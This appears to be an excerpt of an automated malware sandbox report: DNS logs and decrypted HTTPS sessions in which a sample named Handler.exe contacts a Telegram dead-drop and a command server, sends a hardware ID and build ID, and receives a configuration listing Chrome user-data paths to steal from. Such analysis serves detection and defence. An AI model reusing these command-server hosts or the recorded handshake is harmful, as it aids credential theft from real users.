Jan 15, 2025 20:16:31.038727045 CET	192.168.2.5	1.1.1.1	0xa3da	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:31.038855076 CET	192.168.2.5	1.1.1.1	0xb3cf	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Jan 15, 2025 20:16:31.957350016 CET	192.168.2.5	1.1.1.1	0x19da	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:31.957514048 CET	192.168.2.5	1.1.1.1	0x39da	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:31.966049910 CET	192.168.2.5	1.1.1.1	0xfa3f	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:31.966219902 CET	192.168.2.5	1.1.1.1	0xbf3e	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:31.967467070 CET	192.168.2.5	1.1.1.1	0xa02b	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:31.967637062 CET	192.168.2.5	1.1.1.1	0x9de1	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:31.978378057 CET	192.168.2.5	1.1.1.1	0xd210	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:31.978517056 CET	192.168.2.5	1.1.1.1	0x78c7	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:33.479690075 CET	192.168.2.5	1.1.1.1	0x30e3	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:33.479836941 CET	192.168.2.5	1.1.1.1	0x7a60	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:33.594702005 CET	192.168.2.5	1.1.1.1	0x14e6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:33.594932079 CET	192.168.2.5	1.1.1.1	0x7d2e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:33.595525980 CET	192.168.2.5	1.1.1.1	0x1da	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:33.595705986 CET	192.168.2.5	1.1.1.1	0xd4a0	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:33.604907036 CET	192.168.2.5	1.1.1.1	0xbf76	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:33.605015039 CET	192.168.2.5	1.1.1.1	0xc292	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:37.928354979 CET	192.168.2.5	1.1.1.1	0x6ec	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:37.928931952 CET	192.168.2.5	1.1.1.1	0xf8f4	Standard query (0)	browser.events.data.msn.com	65	IN (0x0001)	false
Jan 15, 2025 20:16:52.104439020 CET	192.168.2.5	1.1.1.1	0xdb2d	Standard query (0)	yachtingiturkey.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:18:30.835005045 CET	192.168.2.5	1.1.1.1	0xab12	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:18:30.835133076 CET	192.168.2.5	1.1.1.1	0x44b8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 15, 2025 20:20:34.783138990 CET	192.168.2.5	1.1.1.1	0x1ace	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:20:34.783426046 CET	192.168.2.5	1.1.1.1	0xf97f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
2025-01-15 19:16:35 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:35 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	assets.msn.com	65	IN (0x0001)	true
2025-01-15 19:16:37 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:37 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	c.msn.com	65	IN (0x0001)	true
2025-01-15 19:16:37 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:37 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	true
2025-01-15 19:16:40 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:40 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	ntp.msn.com	65	IN (0x0001)	true
2025-01-15 19:16:40 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	r.msftstatic.com	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:40 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	r.msftstatic.com	65	IN (0x0001)	true
2025-01-15 19:16:43 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:43 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	browser.events.data.msn.com	65	IN (0x0001)	true
2025-01-15 19:18:31 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	true
2025-01-15 19:18:31 UTC	192.168.2.5	172.64.41.3	0x0	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	true
2025-01-15 19:20:35 UTC	192.168.2.5	162.159.61.3	0x0	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	true
2025-01-15 19:20:35 UTC	192.168.2.5	162.159.61.3	0x0	Standard query (0)	ntp.msn.com	65	IN (0x0001)	true

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 20:16:03.123514891 CET	1.1.1.1	192.168.2.5	0xf9e4	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:04.182075977 CET	1.1.1.1	192.168.2.5	0xc418	No error (0)	legalize.live		116.203.164.230	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:14.292774916 CET	1.1.1.1	192.168.2.5	0xd2ca	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 15, 2025 20:16:14.293000937 CET	1.1.1.1	192.168.2.5	0xc924	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:17.535698891 CET	1.1.1.1	192.168.2.5	0x91fa	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:17.535698891 CET	1.1.1.1	192.168.2.5	0x91fa	No error (0)	plus.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:17.536916018 CET	1.1.1.1	192.168.2.5	0x6001	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:18.527647018 CET	1.1.1.1	192.168.2.5	0xa77a	No error (0)	play.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:28.878509045 CET	1.1.1.1	192.168.2.5	0xe3c7	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:28.878698111 CET	1.1.1.1	192.168.2.5	0x2d02	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:29.173548937 CET	1.1.1.1	192.168.2.5	0xcfd0	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:29.173548937 CET	1.1.1.1	192.168.2.5	0xcfd0	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:29.174026966 CET	1.1.1.1	192.168.2.5	0xfee1	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:31.046000004 CET	1.1.1.1	192.168.2.5	0xa3da	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:31.046266079 CET	1.1.1.1	192.168.2.5	0xb3cf	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:31.964397907 CET	1.1.1.1	192.168.2.5	0x19da	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:31.964397907 CET	1.1.1.1	192.168.2.5	0x19da	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:31.964397907 CET	1.1.1.1	192.168.2.5	0x19da	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:31.964397907 CET	1.1.1.1	192.168.2.5	0x19da	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:31.972748041 CET	1.1.1.1	192.168.2.5	0xfa3f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:31.973155022 CET	1.1.1.1	192.168.2.5	0xbf3e	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:31.974119902 CET	1.1.1.1	192.168.2.5	0xa02b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:31.974708080 CET	1.1.1.1	192.168.2.5	0x9de1	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:31.985240936 CET	1.1.1.1	192.168.2.5	0xd210	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:31.985301018 CET	1.1.1.1	192.168.2.5	0x78c7	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:33.486639023 CET	1.1.1.1	192.168.2.5	0x30e3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:33.486639023 CET	1.1.1.1	192.168.2.5	0x30e3	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.33	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:33.488065958 CET	1.1.1.1	192.168.2.5	0x7a60	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:33.601777077 CET	1.1.1.1	192.168.2.5	0x14e6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:33.601777077 CET	1.1.1.1	192.168.2.5	0x14e6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:33.601792097 CET	1.1.1.1	192.168.2.5	0x7d2e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 15, 2025 20:16:33.602364063 CET	1.1.1.1	192.168.2.5	0x1da	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:33.602364063 CET	1.1.1.1	192.168.2.5	0x1da	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:33.602611065 CET	1.1.1.1	192.168.2.5	0xd4a0	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 15, 2025 20:16:33.611552954 CET	1.1.1.1	192.168.2.5	0xc292	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 15, 2025 20:16:33.612024069 CET	1.1.1.1	192.168.2.5	0xbf76	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:33.612024069 CET	1.1.1.1	192.168.2.5	0xbf76	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:16:37.936264992 CET	1.1.1.1	192.168.2.5	0x6ec	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:37.936952114 CET	1.1.1.1	192.168.2.5	0xf8f4	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 20:16:52.265305042 CET	1.1.1.1	192.168.2.5	0xdb2d	No error (0)	yachtingiturkey.com		162.0.209.157	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:18:30.841854095 CET	1.1.1.1	192.168.2.5	0x44b8	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 15, 2025 20:18:30.842052937 CET	1.1.1.1	192.168.2.5	0xab12	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:18:30.842052937 CET	1.1.1.1	192.168.2.5	0xab12	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:20:34.789937973 CET	1.1.1.1	192.168.2.5	0x1ace	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:20:34.789937973 CET	1.1.1.1	192.168.2.5	0x1ace	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:20:34.790102005 CET	1.1.1.1	192.168.2.5	0xf97f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
2025-01-15 19:16:35 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:16:35 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:16:36 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:16:36 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:37 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:16:37 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:16:37 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	sb.scorecardresearch.com		108.139.47.33	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:37 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	sb.scorecardresearch.com		108.139.47.92	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:37 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	sb.scorecardresearch.com		108.139.47.50	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:37 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	sb.scorecardresearch.com		108.139.47.108	A (IP address)	IN (0x0001)	true
2025-01-15 19:16:40 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:16:40 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:16:40 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	r.msftstatic.com	r-msftstatic-com.a-0016.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:16:40 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	r.msftstatic.com	r-msftstatic-com.a-0016.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:16:43 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:16:43 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:18:31 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:18:31 UTC	172.64.41.3	192.168.2.5	0x0	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:20:35 UTC	162.159.61.3	192.168.2.5	0x0	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	true
2025-01-15 19:20:35 UTC	162.159.61.3	192.168.2.5	0x0	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	true

HTTP Request Dependency Graph

t.me

legalize.live

www.google.com

play.google.com

chrome.cloudflare-dns.com

clients2.googleusercontent.com

https:

sb.scorecardresearch.com

yachtingiturkey.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	149.154.167.99	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:03 UTC	85	OUT	GET /w0ctzn HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:04 UTC	510	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 15 Jan 2025 19:16:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12307 Connection: close Set-Cookie: stel_ssid=42d4afa5893e2e2a02_904785558995731711; expires=Thu, 16 Jan 2025 19:16:04 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2025-01-15 19:16:04 UTC	12307	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 77 30 63 74 7a 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @w0ctzn</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:05 UTC	186	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:06 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ycjwbimo8yukn79hlngl User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:06 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 79 63 6a 77 62 69 6d 6f 38 79 75 6b 6e 37 39 68 6c 6e 67 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 35 44 45 35 42 41 32 41 30 41 35 31 39 31 35 33 33 34 32 33 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 79 63 6a 77 62 69 6d 6f 38 79 75 6b 6e 37 39 68 6c 6e 67 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 79 63 6a 77 62 69 6d 6f 38 79 75 6b 6e 37 39 68 6c 6e 67 6c 2d 2d 0d Data Ascii: ------ycjwbimo8yukn79hlnglContent-Disposition: form-data; name="hwid"A5DE5BA2A0A51915334237-a33c7340-61ca------ycjwbimo8yukn79hlnglContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------ycjwbimo8yukn79hlngl--
2025-01-15 19:16:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:07 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|4aa095a2c76b55a5cd741285aa87683d\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49712	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:07 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----b1nycbieu37qqimgva1v User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:07 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 31 6e 79 63 62 69 65 75 33 37 71 71 69 6d 67 76 61 31 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 62 31 6e 79 63 62 69 65 75 33 37 71 71 69 6d 67 76 61 31 76 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 62 31 6e 79 63 62 69 65 75 33 37 71 71 69 6d 67 76 61 31 76 0d 0a 43 6f 6e 74 Data Ascii: ------b1nycbieu37qqimgva1vContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------b1nycbieu37qqimgva1vContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------b1nycbieu37qqimgva1vCont
2025-01-15 19:16:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:08 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49714	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:09 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----cbsjw4oz5fcjm7gvaaaa User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
